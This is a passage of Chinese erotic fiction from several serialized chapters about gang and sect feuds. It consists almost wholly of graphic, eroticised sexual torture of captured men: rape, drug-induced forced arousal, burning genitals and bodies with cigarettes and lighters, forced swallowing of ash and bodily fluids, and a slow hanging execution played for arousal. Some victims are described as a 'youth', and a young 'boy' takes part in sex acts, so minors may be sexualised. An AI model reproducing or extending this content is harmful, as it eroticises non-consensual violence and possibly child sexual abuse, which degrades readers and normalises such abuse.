众人的哄笑声中,郎头怒骂着星豪,但立刻被旁边的一只手捏住下颚。刘猛狞笑着抓起桌
子上的烟灰缸,将里面的烟灰烟蒂火柴梗一股脑的倒进郎头的嘴里。郎头剧烈的咳嗽着,
喘息着,烟灰随着呼吸从口中喷散出来,落在他汗湿的脸上。但痛苦不仅仅来自于此,更
大的折磨是老董粗暴的手淫。
郎头的阴茎在老董的抽送下充血,更加的膨胀。老董将烟盒里最后一只烟给自己点上,然
后将空烟盒套在郎头的鸡吧上,烟盒里残存的烟丝涂抹在了汉子的龟头上,蚀咬着他的阴
茎,发硬的锡纸摩擦的鸡吧刺痛不已。
桌子剧烈的晃动,刘猛挥拳擂击着汉子的小腹,强迫他咽下嘴里的烟蒂和杂物。
郎头无力反抗,烟蒂哽在食道里使他一阵阵的干呕,而阴茎也在这同时射精了。他被押到
高台前面,没有了反抗的力气,颓然的跪在了星豪的脚下。
豪血寺的阴森建筑外面,两个人站在高大的院墙后面,秘密的商谈着。
莫天正和惠觉正在商议如何对付西山党,意图报仇。他说服师傅惠觉亲自出马,打算袭击
西山党陈勇的据点,从而夺回大旗门的罗景隆,用以挟持大旗门,而此时郭鸿渐已经在自
己的手中,他可以堂而皇之的回到警局,再控制黑白两道,给西山党和大旗门以致命一击

两人谈了良久,惠觉终于首肯。想到大功告成之日,可以独霸天下,莫天狂笑起来,忙又
对师傅道:“我这里新抓回来两个叛匪,可供师傅玩耍。”
惠觉大喜,自从巴塞攻破他的酒吧据点之后,只有黑龙等少数几个人跟着惠觉逃脱。豪血
寺的老巢在荒僻的山中,惠觉寂寞难耐,也被都市中的种种权欲吸引,所以就带着黑龙几
个手下栖身在莫天建立的遮天堡中。
晚饭吃罢,惠觉就来到自己的训奴房,命人将郭鸿渐和吕明押来。
不一会,两个五花大绑的青年,腿上栓着绳索,一步一挨的走了进来。只见眼前的郭鸿渐
冷傲挺拔,赤裸着上身,穿一条囚犯的灰布裤子,露出结实匀称的肌肉。吕明清秀俊朗,
穿着一身武警制服,更显得英挺不凡。惠觉不禁淫心大起。他走上前去,在吕明的脸上摸
一把,又在郭鸿渐的脸上亲一口,两个人被绳捆索绑,嘴里塞着袜子破布,做声不得,只
能听由摆布。
豪血寺中的规矩,一入门中都必须剃成光头,只是惠觉的门下,如黑龙等人都是剽肥体胖
,而莫天纠集的下属身材虽然宽大,但更孔武有力,且体毛厚重。惠觉知道徒弟莫天是要
从挣脱自己的掌握,另立门户,所以,对莫天的手下全无好感。
此时见那几个大汉在旁边站立,就不耐烦的挥手道:“你们都下去吧,这里有黑龙就够了
。”
遣散众人,惠觉关上房门,立刻又走回被五花大绑着的郭鸿渐和吕明的面前。
惠觉掏出两人的阴茎,来回的翻弄比较。看见吕明的鸡吧秀气可爱,就忍不住放到嘴里吮
吸一翻。吕明忍耐不住,扭动身体试图反抗,一边的黑龙立刻上前将吕明按住,一条长绳
穿过头顶房梁上的滑轮,栓住捆绑着吕明双手的绑绳,扯动绳索,将青年反剪双臂吊了起
来。
吕明的阴茎在裤子外面无助的晃动,绳索一紧,整个身体已经悬挂在空中。惠觉欺身上前
,要继续吃吕明的鸡吧,一边的郭鸿渐奋力的想要过来阻拦,被栓吊好吕明的黑龙反手将
他按住。
惠觉笑道:“怎么?想要救他?那你先来吧!”一边说话,一边拿出一个金属的套筒,那
是一个十几公分长的金属圆筒,竖着有机关可以拉开,厚重的金属外壳分上下两层,里面
中空,内壁上有许多细小的金属突起,圆筒的末端连着一条皮带。将郭鸿渐挂在裤子外面
的鸡吧包裹在套筒里,合上机关,系住皮带,阴茎立刻被金属套拉的生疼。
一些兴奋剂被倒在他的阴茎上,惠觉拨动阴茎套上面的开关,外圈固定着青年的身体,内
圈却开始活塞般抽动起来。郭鸿渐的阳具在兴奋剂的折磨下逐渐的挺立起来,他使劲的想
收服心神,却始终抵抗不住药物的力量和刑具的折磨,身体随着刑具的震动而来回颤抖着
,嘴里发出呻吟。
“这个宝贝连铁辉都制服了,还奈何不了你吗?”惠觉想起铁辉,不无遗憾的叹了口气。
此时,莫天推门走了进来,一见此情形,免不得奉承几句。“还是师傅高明,这个小子也
是个警官,被抓来后一直硬的很呢,可被师傅一下子就收服了,你看他那副欲仙欲死的样
子。”
“这个警察可是你喜欢的那种类型哦,瞧这胸毛倒也威武,你舍得送给我?”惠觉笑着说

莫天瞥眼看了看浑身黑毛,身材健壮的郭鸿渐,心中倒有几分心动,但知道是师傅试探自
己,忙陪笑道:“只要师傅开心,我吃剩下的就足够了!哪里敢和师傅争啊!”
两个人的狂笑声中,惠觉意气风发的吩咐黑龙:“把这位警官也给我吊起来!”
郭鸿渐本已经被捆绑这的身体反弓起来,手脚被反剪在了一起绑成了四马攒蹄的姿势,就
在吕明的身边被用绳索高高的吊起。他的阳具随着刑具和药物的作用已经完全挺立起来,
腰部在空中不受控制的挺动着,一滴滴黏液从被勒的紫红的龟头渗出。
黑龙将他吊起,栓好绳索,然后在郭鸿渐的身上推了一把,将他撞向被反吊在一边的吕明
。郭鸿渐的身体荡过去,碰在了反吊着胳膊的吕明的身上,他坚硬的如同铁一般的阳具撞
在了吕明的胸前,郭鸿渐因为这突然的挤压和刺激而更加亢奋,塞着臭袜子的嘴里发出兴
奋而痛苦的呻吟。
身体旋即分开了,当他们第二次撞在一起的时候,郭鸿渐的身体在捆绑着他的绳索里猛的
绷紧,下体本能的抽动着,精液随着他晃动的身体洒在了地上和吕明的制服上。
郭鸿渐的鼻孔喘着粗气,惨烈的折磨使他浑身汗湿,可是他随即发现,一切没有停止,那
只恶毒的器具仍然在来回抽动,自己仍然流淌着精液的阴茎因为刑具和药物的原因又一次
挺立起来。
这种无穷无尽的折磨使郭鸿渐年轻的身体迅速的虚弱,意识逐渐的远去,被吊起的手脚在
绳索的捆绑中已经麻木。猛然,胸前一阵剧烈的疼痛,他的身体在空中无力的挣扎了一下
,一股辛辣的烟雾扑面而来,郭鸿渐不曾提防,猛吸了一口,呛咳起来。阴茎在他的挣扎
扭动中又一次射精了,胸前又是一痛,黑龙再次把雪茄烟头按在了郭鸿渐的身上。
十三 痛之焚烧
一个同样的恶毒刑具套在了吕明的阴茎上,他的双臂高高吊起,使得他不得不踮着脚尖才
能保持身体的平衡。粘稠的兴奋剂倒在了他的阴茎根部,随着阴茎套的抽动,欲望很快传
遍了全身,他的下体不自禁的颤抖,身体来回的晃动着,吕明试图甩掉阴茎上的金属套筒
,然而这样做非但不能使他摆脱折磨,反而使阴茎更加迅速的膨胀起来,他的大腿痉挛了
,在空中瞪动着,身体的重量拉扯让倒吊着的手臂如同被撕裂般的痛着。身体在空中绷成
了弓形,精液随着他模糊的呻吟激射而出。
黑龙恶意的将四马攒蹄吊在空中的郭鸿渐再次推向吕明,让郭鸿渐流溢着精液的阴茎在吕
明的脸上碰触摩擦,郭鸿渐的身体在刺激下频繁的抽动着,淋漓的精液胡乱喷洒在吕明的
脸上身上。黑龙狂笑着松开手,郭鸿渐的身体在空中无助的来回晃动,下体在不曾停止的
套筒的折磨下执拗的再次走向高潮。
吕明的身体徒自抽动不休,秀丽的面容被汗水浸湿,塞着袜子的嘴里发出无依的呻吟。惠
觉解开狱警的皮带,将他的裤子褪到脚下,从后面开始进攻他的身体。
恶根插入吕明饱受蹂躏的身体,并且凶猛的抽送起来。伴随着这个年近六旬的男子兴奋的
喘息,吕明的身体在空中晃动不已,整个身体被惠觉抱起,以便更深的插入。
塞着臭袜子的嘴里发出痛苦的哼鸣,吕明在遭受鸡奸的同时,下体却在药物和刑具的作用
下亢奋的颤抖起来。惠觉环抱着他的腰狠操他的肛门,双手仍然不时的挑动年轻狱警性欲
高涨的阴茎,惠觉的每一次碰触,都让吕明苦不堪言。大量的精液随着阴茎套的抽送而喷
射出来,吕明脑子昏沉沉的,等待着下一次的凌辱。
惠觉尽兴的将粘稠的精液注入吕明年青的身体,他的双脚也被反吊起来。
夜已经不知不觉的来临,两个受刑的青年在众人的凌虐中挣扎呻吟,无法反抗,甚至连求
饶也只会带来更大的羞辱和折磨。
惠觉不知道什么时候已经离去,在袭击西山党之前,他还有很多的工作要做,而且,这个
年迈的和尚曾是江湖上恶贯满盈的凶僧,以他的为人,怎么肯轻易为自己的徒弟卖命。所
以,他要去联系自己的帮手,壮大自己的实力。毕竟,江湖中有太多充满诱惑的事物在等
待着他的拥有和蹂躏。
莫天赔笑送走了师傅惠觉,然后对悬吊在房梁上的吕明和郭鸿渐道:“现在让我来陪两位
玩玩吧!或者...”他斜眼看了看站在一边的黑龙,笑着继续说。“还是让我这个兄弟招待
一下你们?”
黑龙两眼发着光,兴奋的道:“多谢大师兄!”
莫天不喜欢人称呼他大师兄,他知道,终归有一天,豪血寺的龙头宝座将是属于他莫天的
。但是目前,他还不能得罪惠觉的属下。莫天宽厚的笑着道:“客气什么,你好好的享受
,我也该去休息了。等过些日子,师傅抓了大旗门姓罗的小子来,到时咱们一起爽爽!”
莫天刚说完,黑龙已经等不及的转向被吊在空中绳捆索绑的郭鸿渐和吕明。他们早已经无
力挣扎了,挂在绳子上的身体在空中轻微的晃动,小腹机械的抽动,精液浸湿了裤子和捆
绑在身上的绳索,阳具绝望而顽固的挺立着。
黑龙首先将吕明从空中放了下来,年青的狱警丝毫没有反抗的能力,被强迫跪伏在地上。
黑龙点上一只雪茄烟,一边吸烟,一边掰开吕明的屁股,用手掌使劲的抽打,吕明的屁股
被打的疼痛不已,嘴里发出一声声模糊的惨叫。随后黑龙将自己的粗大阳具顶在了狱警被
轮奸的红肿的肛门上。
吕明不安的扭动着,呼吸因为紧张而急促起来。肛门处一阵恶意的捣动,突然一阵剧痛,
那只阳具戳入他的身体。黑龙叼着雪茄烟,双手按定被捆绑着的狱警,野蛮的做着活塞运
动,嘴角的烟蒂被口水浸湿了,唾液顺着烟蒂流下来,滴在吕明的制服上。吕明再也支持
不住,呻吟了一声,昏了过去。
望着仍然在持续鸡奸着吕明的黑龙,郭鸿渐控制不住愤怒,他努力的挣扎着,然而被捆住
手脚四马攒蹄的吊在空中,身体无从借力,更不能动弹。他努力的吐处嘴里塞着的布团,
嘶哑的喊着:“住手!放开他!你这个禽兽!”
黑龙终于离开了吕明的身体,他抬头看了一眼怒视着他的郭鸿渐,然后将嘴角的雪茄烟蒂
插入已经昏过去的吕明的鼻孔中。
辛辣的雪茄烟雾被吸入肺中,吕明呛咳着苏醒过来。黑龙逼迫他吸着塞在鼻孔里的烟蒂,
翻身松开悬吊着郭鸿渐的绳索,郭鸿渐的身体重重的摔在地上。他意识捣折磨要轮到自己
了,果然,黑龙取出一只橡胶阳具,蛮横的塞进郭鸿渐的嘴里。
橡胶棍直顶进郭鸿渐的喉咙,他做声不得的同时,黑龙又打开了上面的电动开关,假阳具
立刻在他的嘴里疯狂的颤动起来。
郭鸿渐的嘴仿佛要被涨破了,他痛苦的挣扎着,口水唾液从嘴角流溢出来,糊在他英俊的
脸上。
黑龙狞笑着用手揩起他裤裆里的黏液,涂抹在他痛苦扭曲的脸上,然后拔出吕明鼻孔上的
雪茄烟蒂,狠狠的按在郭鸿渐的胸膛上。
郭鸿渐只觉得脑子一沉,意识开始模糊起来。面对黑龙的折磨和羞辱,他只想尽快的昏迷
过去,好减轻身体和精神所承受的巨大压力,而在这个时候,一阵剧痛又使他回到残酷的
现实中来。
黑龙用打火机炙烤着他被阴茎套捆扎着的生殖器,丛生的阴毛被火燎着了,阴茎套受热,
带给郭鸿渐巨大的痛苦。剧痛使他的身体疯狂的跳动起来,肌肉绷紧,忍受着折磨。
黑龙伸脚踩住郭鸿渐的胸膛,将他的下身半侧过来,将打火机伸进郭鸿渐屁股缝中丛生的
黑毛之中,火焰烧炙着他的屁股和肛门,肛毛被烧着了,闪动着火星,散发出焦臭。黑龙
用手一阵揉搓,烧焦的毛发蔟蔟落下。
郭鸿渐下体的毛发被烧的干干净净,紧闭的肛门完全暴露出来。黑龙抽出郭鸿渐嘴里的橡
胶阳具,残忍的插进被烧光了阴毛的光秃秃的后腚。
“啊......”郭鸿渐凄厉的惨叫声在整个遮天堡中回荡着。
十四 捆绑住的生机
电动阳具在郭鸿渐的身体里跳动不休,他的惨叫声并未使黑龙给予同情,光头汉子的脸上
发着邪恶的光,他一边吸着雪茄烟,一边用打火机在郭鸿渐的身上烧炙着。
郭鸿渐的身上茂盛的体毛被火烧的星星点点,不时的爆起一团火光,他的体毛随着火焰的
翻滚,发出“嘶嘶”的声音,卷曲燃烧着,胸前腋下,手臂大腿以及生殖器附近的体毛都
被烧光了,捆绑在身体上的麻绳也被点燃了,灼烫着皮肤,焦灼的声音让黑龙更加的亢奋

郭鸿渐的惨叫和呻吟逐渐的微弱,看着郭鸿渐被烫的昏迷过去,他意犹未尽,转而走向横
躺在地上喘息着的狱警吕明。
阴茎套上传来的灼痛使吕明的身体战栗着,脑子里一片空白,在黑龙的狂笑声中,他再一
次被押在了黑龙狂莽的身体下面。
肛门中电动阳具的跳动和阴茎套的持续抽送使郭鸿渐在痛苦中苏醒过来,燃烧的绳索在他
的身上留下一条条黑红色的伤疤,胸毛被烧光了,焦黑一片。他立刻发现身上的绑绳居然
松脱了下来,爬在吕明身上的黑龙正忘形的扭动着屁股,郭鸿渐抓住这个时机,猛的扑向
正挺直了身体走向高潮的黑龙。
“啊......啊啊.......救命!”黑龙被郭鸿渐抡起木棍击中了头部,他摇晃着站起身来,
满脸是血,狰狞的怪叫着。“...快来人啊......”
郭鸿渐又是一棍抽在黑龙的下巴上,黑龙肥大的身体轰然倒地。他连忙去掉身上的刑具和
捆绑,然后解开吕明身上的束缚。“你快走,我结果了这个家伙!”
“不,我们一起走!”吕明道。
两个人正准备离开,闻声赶来的莫天已经站在了石室的门口。“别谦让了,你们谁也跑不
了!”
吕明一见莫天,怒火中烧,他发出愤怒的吼声,直扑莫天。
郭鸿渐正要上前合力对付莫天,看见黑龙晃悠着挣扎着爬起,他恨极这个歹毒的光头汉子
,纵身上前,一脚踢在黑龙的胸口上。肋骨被折断了,黑龙一声怪叫,又滚翻在地。
吕明哪里是莫天的对手,此时已经被莫天按在地上拳脚相加。吕明挣扎着抱住莫天的双腿
,厉声道:“你还不快走!”
郭鸿渐知道形势紧迫,一跺脚,从莫天的身边闪过,觅路向遮天堡外逃去。
这边疼的满地打滚的黑龙咬着牙从地上爬起来,帮着莫天扭住吕明,将他的胳膊反扭到身
手带上手铐。莫天不耐烦教训黑龙,只冷冷的道:“看管好了!”连忙带着随后赶来的手
下向遮天堡外,追赶郭鸿渐去了。
黑龙抚摸着肋下一处塌陷的伤处,只觉得剧痛钻心,心里升起怒火。“跑?老子看你还跑
不跑!”
一副脚镣带在了吕明的脚踝上,他知道这次落入敌手,定无幸免,也不挣扎。黑龙拾起地
上的那只橡胶阳具,脱下吕明的制服裤子,插入他的肛门,然后用绳索穿过吕明两脚上的
锁链,将他整个人倒吊起来。
年轻狱警满是精液汗水鲜血的身体在黑龙的蹂躏下无助的晃动着,吕明咬紧牙关努力不发
出声音,黑龙狞笑着,将吮吸的通红的烟蒂按向吕明的裤裆。
一晃几天过去了,医院中的阿力逐渐的康复。楚飞一刻不停的陪伴在他的左右,出院的那
天,他们才惊闻大旗门所遭受的变故,事件的突然让他们忧心忡忡。
“我们应该采取行动,可现在只有我们两个人...”楚飞依然沉着冷静。“我们需要先找出
敌人的薄弱环节来!”
阿力看着面前这个比自己年轻许多的青年应变的机智,脸上露出佩服的神情。
“先救铁辉!他被关押在扬伟业的秘密仓库里。现在只有那里是敌人防守最弱的地方。救
出铁辉,我们就有了生机!”楚飞坚定的道。
陈勇的公司里,带着刑具的少年被押出密室,走进他装饰豪华的卧房。
屋子里清一色的红木陈设,一张红木云床上,四根红木床柱精雕细刻,上面掩盖着绯色的
流苏。
浑身赤裸着的少年,胸前的锁骨上和阴茎的根部都穿着铁环,一条“T”字形铁链将三只铁
环连接在一起。几天非人的折磨已经使罗景隆失去了反抗的意志和勇气,他跪在陈勇的面
前,匍匐着,头低垂下来,看着胸前被烙铁烧炙的一个黑红色的“陈”字。
“把我的鸡吧掏出来!”陈勇叉着腿站立,冷冷的命令道。
罗景隆稍微迟疑,裆下被陈勇狠狠的踢了一脚,少年一声惨哼,连忙忍住疼痛伸手解开陈
勇的皮带,将那根散发着男人下体气味的肉棍小心的捧在手里。
他慢慢的抚摸揉动着,那只热乎乎的棍子在他的手中逐渐的膨胀坚硬。旁边一个年纪不大
,皮肤细嫩的男孩将一个安全套丢在他的面前。“给你的主人带上。”男孩脆脆的声音道

罗景隆不敢违逆,撕开封口,将套子带在陈勇的阴茎上。
陈勇叼着烟看着罗景隆的动作,继续道:“等会儿要在旁边好好伺候,听到没有?”
“是,主人。”罗景隆的声音低的他自己都听不清楚。
“你就是我圈养的一头牲口!你给我好好的记住!”陈勇叼着烟,凑近罗景隆命令道。“
把嘴张开!”
罗景隆默不做声的张开了嘴,仰着头望着陈勇,眼睛里完全没有了往日的神采。
陈勇拿下嘴角的烟蒂,“呸!”的一声将一口浓痰吐在少年的嘴里。然后转身搂着那个柔
弱的男孩坐到精致雕刻的红木大床上去。
罗景隆艰难的咽下嘴里的痰液,后面的打手押着他走到床边,他被强迫去舔那男孩的肛门
,男孩爬在陈勇的怀里淫乱着,将屁股高高掘起,粉红色的菊花就在罗景隆的面前开合。
“快舔呀!我也是你的小主人呢!”男孩嗲着声音道。
罗景隆连忙用舌头吮吸着那幼嫩的肛门,淡淡的绒毛里充满了精液和粪便的气味。
男孩发出兴奋的叫声,陈勇一脚踢开罗景隆,按住男孩在床上翻滚起来。
十五 末日可数
挣扎着从地上爬起来的罗景隆被看守押到床尾,打手示意他双手抱住红木的床柱,少年默
默的服从,随即打手用自己的皮带将少年的双手牢牢绑住,掏出自己的鸡吧紧偎在他的身
后来回摩擦了一会儿。又拿过男孩的皮带将罗景隆的双腿系在床脚上,然后拉过床边男孩
脱下的白色袜子送到罗景隆的嘴边。
没有反抗的余地,罗景隆只有张开嘴,任凭打手用袜子将他的嘴堵塞的严密结实。肛门处
冰凉湿润,打手用蘸了唾沫的手指在少年的屁股上抚弄起来。
终于,打手的阳具插进了他的肛门,罗景隆因为恐惧和痛苦而轻微的颤抖着。
床上的陈勇完全不理会下属的淫乱,自顾按住男孩的身体,猛烈的抽送着。帐顶的流苏随
着他们的节奏癫狂的飘动。
强奸简短而粗暴,在快速凶猛的撞击了几下之后,打手离开了他的身体。束缚被解开了,
罗景隆叼着男孩的袜子跪在床边继续观看着陈勇的淫乱。
完事后的陈勇懒懒的靠在床边,用脚趾逗弄着罗景隆的下巴,让他抬起头来。
“居然吃我的袜子!”男孩嘻嘻笑着,从罗景隆的嘴里拽出袜子来穿在自己脚上。“看,
都给我弄脏了!”一边说一边拿起盛满了精液的安全套,将里面的精液倾倒在罗景隆的嘴
里。
罗景隆屈辱的叼着肮脏的安全套,象狗一样跪在男孩的面前。
突然,男孩发出一声短暂的惨叫,身子歪倒下来。
“谁?”陈勇来不及穿上衣服,光着身子从床上一跃而起。
就在这同时,旁边的看守怪叫了一声,也摔倒在地,身子扭动了两下没了声息。
陈勇浑身被吓出了一身冷汗,灯光掩隐下,一个人突然出现了在了门口。那是个上了年纪
的和尚,身上穿的僧袍发出黑色的诡异光泽,他的眼睛如同两盏鬼火,定定的望着陈勇。
“豪血寺的凶僧?!”陈勇没有想到对方的报复行动会如此之快,更没有想到的是自己会
成为对方打击的目标。
惠觉的脸上闪过凶残的杀气,却语气平静的道:“是你自己死呢?还是让我动手?”
遮天堡的会议厅前,一个肌肉结实,身体矫健的男子被用粗麻绳捆绑在大厅的柱子上。他
的头上套着麻袋,看不清楚面目。胸前一条铁链锁着琵琶骨和阴茎,恶毒的刑具随着男子
的挣扎而晃动着。
惠觉看着被自己劫持的少年,雄健的肌肉,挺拔的身体,不由得想起了当年的铁辉。
“师父果然马到成功!”莫天从大厅里迎了出来,看见柱子上捆着的男子,高兴的说。
“先验验货吧!”惠觉得意的道。
头上的麻袋被扯了下来,罗景隆只觉得天光刺眼,自己身处一座宽敞的殿堂门口,被反绑
在一个合抱粗的石柱之上,浑身被绳索密密麻麻的捆绑结实。眼前站着的两个人正是莫天
和那个杀死陈勇劫持了自己的和尚惠觉。身后一群光头皮裤的汉子,一个个胸前长着黑毛
,嘴边叼着香烟,手里握着皮鞭藤条棍棒等刑具。
少年的嘴上绑着口塞,呜咽着说不出话来。面前这个和尚曾经是父亲的敌人,如今也有六
十岁上下的年纪了,自己才脱狼穴,又入虎口。想到即将到来的厄运,他狠狠的咬紧牙关
,不屈的看着面前这个挂着淫笑的和尚。
“大旗门的罗景隆罗少门主!哈哈...好好好!”正因为郭鸿渐的逃脱而烦恼的莫天大笑着
道。“看来一切都按着我们的计划在进行了。”
“这里就交给你们了!”惠觉回身对身后的手下道。”给我先好好的折磨羞辱他一番!”
说完向莫天使了个眼色,径直向大殿内走去。
莫天知道郭鸿渐逃脱的事情已经被师父知悉,眼下紧要的是如何阻止郭鸿渐回到警局暴露
自己的身份。所以也吩咐了几句手下,尾随着惠觉走了进去。
两人一走,皮鞭,棍棒立刻迎向被捆绑着的少年,带着口塞的嘴里发出痛苦的惨叫,他带
着刑具的阴茎被玩弄的高高勃起,上面夹满了铁夹,乳头上也带上了铁夹子,火焰炙烤下
,剧烈的疼痛使他年轻的身体在绳索中扭曲着。
听闻陈勇被杀的消息,第一个感到不安的是杨伟业,他当然知道陈勇是为什么死的。自己
手里有铁辉,不是同样随时都有丧命的可能。匹夫无罪,怀璧其罪!
铁辉这个人质现在已经成了烫手的热山芋,我可留他不得!他心里切切的想着。
仓库下面的地牢里,看守正在疯狂的鸡奸着铁辉。
看守是一个四十岁上下年纪的中年人,此时的铁辉因为长久的牢狱生活而变的虚弱,脸上
长满了胡茬子,阴暗潮湿的牢房里散发着汗液,尿液和精液混合着的异味。铁辉的嘴里塞
着看守的裤头,努力忍耐着身后的碰撞。
看守在他宽阔的背上吮吸着,口水滴在他的头顶,流到他的脸上。
他的身体因为剧烈的抽插而晃动着,身上的刑具叮当做响。
“别玩了!头儿叫你押他上去呢!”一个同伙拉开地牢的门,冲着里面喊道。
看守咒骂了几句,又狠命的日弄了几下。爬起来扯下铁辉嘴里的堵嘴布,一边掳动着自己
的阴茎,一边道:“张嘴!”
铁辉爬过来,张开嘴让看守将精液断续的射进他的嘴里。看守给他的脖子上套上缰绳,将
口嚼子塞入他的嘴中。然后在他耳边笑道:“咱们晚上接着来!”一边给铁辉带着刑具的
同时,仍然贪婪的吻着汉子的胸膛和乳头。
二十七岁的铁辉饱受了长久的折磨和奴役,他默默的承受着,脸上没有任何的表情。一切
捆扎停当,看守扯动缰绳,拖着沉重脚镣的铁辉走出了关押他的地牢。
十六 冥界漆黑一片
“杀了他?”看守惊叫了一声。
杨伟业冷冷的看着锁链缠身的铁辉道:“不错!杀了他一了百了。”
“可是,不是要留他做人质的吗?”看守居然有些舍不得,他巴巴的看看杨伟业,又回头
看看昂首挺立在那里的汉子。
“现在不用了。”杨伟业道。
这一刻,铁辉听到要处死自己的消息,心中反而平静了下来。“是啊。一了百了!”几年
的牢狱生涯,各种非人的折磨和凌辱,如今,终于要结束了。
杨伟业看见铁辉平静的眼神,心里生起怒火,他走到铁辉的面前,恶狠狠的道:“不过,
我不会让你轻易死掉的,我连给你送行的方法都想好了。”
看着杨伟业转身走了出去,看守将铁辉扶坐在一个铁桶上,打开他嘴上的口嚼子,将一只
香烟塞进他的嘴里。打火机点燃了香烟,看守道:“我也救不了你!临走了,你就再抽一
口烟吧!”
铁辉靠着身后墙壁,默默的吮吸着香烟。生死在即,他想起了与自己生死与共的朋友们,
心中忽然有一阵刺痛。
看守察觉到了什么,走开了几步,悄悄的叹息了一声。
大旗门,昔日的辉煌已不再。
郎头的衣服被扒的精光,只留着头上的头巾也已经破烂不堪。
他的手脚上拖着双重的手铐和脚镣,押到院子的中央,星豪命手下的人逐个的鸡奸这个威
武不屈的汉子。郎头浑身动弹不得,他们有意留着他的嘴巴,想听到他惨叫求饶的声音,
但他就是咬紧牙关不做一声。
星豪正在气恼,突然听到陈勇被杀,罗景隆已经落入豪血寺的手中,不禁勃然大怒。稍微
镇定了一下,星豪决定派人去将铁辉尽快押来大旗门,以免夜长梦多。
郎头怒笑着道:“你的末日也不远了,赶快准备后事吧!”
星豪狞笑着吩咐手下给郎头的嘴上绑上口络,铁丝拧成的网封住了郎头的嘴,使他出声不
得。
“就算我死,也要拉你垫背!”星豪一边说着,将嘴角的烟蒂拿下来,透过铁网烧炙郎头
无法出声的嘴。
他粗壮魁梧的身体被铁链横七竖八的缠绕着,手脚上更带着双重的铐镣。老董和刘猛将捆
绑的结结实实的郎头关进阴暗的水牢里。
押走了郎头,星豪隐约觉得不妥,索性自己亲自去一趟杨伟业驻扎的仓库。“希望还来得
及!”他心里默默的说。
一块一米高的长方形冰块推进了仓库,巨大的冰块散发出寒气,一层缭绕的烟气逐渐升腾
四散。
铁辉被重新带上口嚼子,双手的铁链被反锁到身后,在杨伟业的强迫下,他拖着脚镣站在
了冰块上。一条绳索结成活套套在铁辉的脖子上收紧,向上悬穿过仓库顶棚的横梁栓在一
边的柱子上。
光脚踩在冰块上,一阵刺骨的寒冷袭遍铁辉的身体。他趔趄了一下,几乎滑倒,脖子上的
绞索立刻肋进了肉里。
杨伟业看着被绷紧的颤抖着的绳索,笑眯眯的道:“你可要站稳了,不然早早的就没命了
!”
铁辉只觉得脖子仿佛被一只巨手捏住,呼吸不畅快,站在冰块上,稍一失足,就会被脖子
上的绞索勒的窒息而死,可是,时间一长,脚下的冰块融化,却是一样的结局。
杨伟业就是要他一点点品尝死亡来临的滋味,铁辉只觉得浑身彻骨的寒冷,身体禁不住打
了个冷战。
果然,过不了多久,冰块就开始逐渐的溶化,尤其是铁辉双脚所站的位置,更始深陷下去
两个脚掌大小的坑洞。他的脚掌已经被冻的通红,铁辉只有用麻木的失去知觉的双腿努力
支撑着身体,以用来减轻脖子上的绞索带来的威胁。可是由于身体逐渐的下落,脖子上的
绞索已经深深的卡入他的肌肤,他尽力支撑着,身体控制不住的颤抖起来。
在一边观看的杨伟业看着铁辉努力挣扎,开始不耐烦起来,他走到冰块前,慢悠悠的点燃
一只香烟,踩着冰块的边缘爬上去,将香烟塞进铁辉的鼻孔。狞笑着道:“抽只烟再走!
底下怕没有了哦。”
冰块消融,铁辉只能尽力踮着脚尖,身体几乎全部挂在了脖子上紧勒着的绞索上。铁辉的
脸已经被憋的紫涨,呼吸短促而微弱,一股烟雾从嘴角鼻孔里弥漫出来,他胸膛起伏着,
痛苦的扭动了一下。
杨伟业跳下冰块,又伸出手来逗弄铁辉的阳具,笑嘻嘻的道:“舍不得走啊?我就让你临
死前再爽一次吧!”
双手被铁链捆绑着,身体的重心全靠两只被冻的失去了知觉的脚竭力维持,铁辉不能稍动
,只有听任杨伟业对他进行手淫。
意志逐渐的模糊,下体却在杨伟业熟练的手淫技巧下坚硬挺拔着。杨伟业一边揉弄着他的
阴茎,逐渐的加快频率,叫道:“快点!快点!快出啊......”
冰块继续溶化,大量的积水流满了仓库的地上。铁辉只能用右脚的脚趾竭力支撑身体,绑
着口嚼子的嘴里发出含糊不清的呻吟,急促的呼吸使他吸入更多的香烟的烟雾,身体的下
坠使他几乎完全窒息。
杨伟业看着濒临死亡边缘的铁辉,纵声狂笑,握着铁辉坚硬阳具的手更加迅速的套弄。
身体已经完全悬空了,铁辉的双脚无助的蹬动,呼吸更加急促,鼻孔里的香烟迅猛的燃烧
起来,烟头发出灼热的红光,一股股精液在他身体绝望的颤抖中激射而出。他脖颈一阵巨
痛,弥漫着的烟雾中,嘴唇边烟头的烧炙感逐渐的消失,眼前的景物模糊了,终于漆黑一
片。
十七 枷与锁的沉痛
遮天堡的大殿里已经成了野兽淫欲充斥的场所。
罗景隆已经被用各种刑具折磨过了,他的身上几乎没有一寸肌肤是完好的,他的嘴上带着
口撑,光头大汉们将浓烈的辣椒水从他的嘴里鼻孔里灌进去,肚子被灌的憋涨歹徒们刮去
了少年的阴毛,然后他们拽着他光滑的阴茎,用铁丝将阴茎和睾丸拧结成扭曲可怕的形状
。乳头被用钢针刺穿了,挂着铃铛,满是鞭痕的身体上夹满了铁夹子。
等他们的兽行进行到高潮,十个魁梧的皮装汉子将少年从柱子上解下来。此时的罗景隆已
经毫无挣扎反抗的能力,他被按在一张长条凳子上。他们开始用坚硬肮脏的鸡吧强奸他的
肛门和带着口撑的嘴巴。一股股泛着腥味的精液喷洒在他的脸上身上,他迷乱的扭动着身
体,但他的反抗颤抖和呻吟丝毫勾不起这些野兽的同情和怜悯。
少年被折磨的死去活来,直到黄昏的时候,他们才停止了这次盛大的性交宴会。
一根铁棍组合的“T”字型的脚镣拿到了软瘫在长凳上的少年的身后,铁棍的一头是一个橡
胶的假阳具,另一边横向伸出的铁棍两端是脚铐。他们将带有假阳具的铁棍一头塞进被操
的红肿破裂的少年的肛门,然后将他从长凳上拉起来,横着的铁铐锁在双脚的脚踝上。一
个大汉拽着罗景隆胸前的铁链使劲,少年被迫朝前挪动脚步。他每挪动一下脚步,脚镣上
的铁棍移动都会使塞入肛门的一头来回旋转。少年满是精液的嘴里发出含糊的惨哼,野兽
们满意的哄笑着,将一只口塞填进少年的嘴里,从脑袋后面系紧。一面一百二十斤重的木
枷套在了少年的脖子上,双手也被锁在枷板上。
“铁辉!铁辉!铁辉!......”那个声音遥远的如同梦里,铁辉的意识从朦胧中醒转过来

仿佛一个梦魇破灭,铁辉只觉得周身都是巨痛,迷蒙中睁开眼睛,面前是欢喜的流下了热
泪的阿力。
阿力!铁辉浑身都因为兴奋而颤抖,这!是真的吗?
一声惨叫,杨伟业在一个青年的刀下扑倒,那青年转过身来,剑眉星目,正是铁辉日思夜
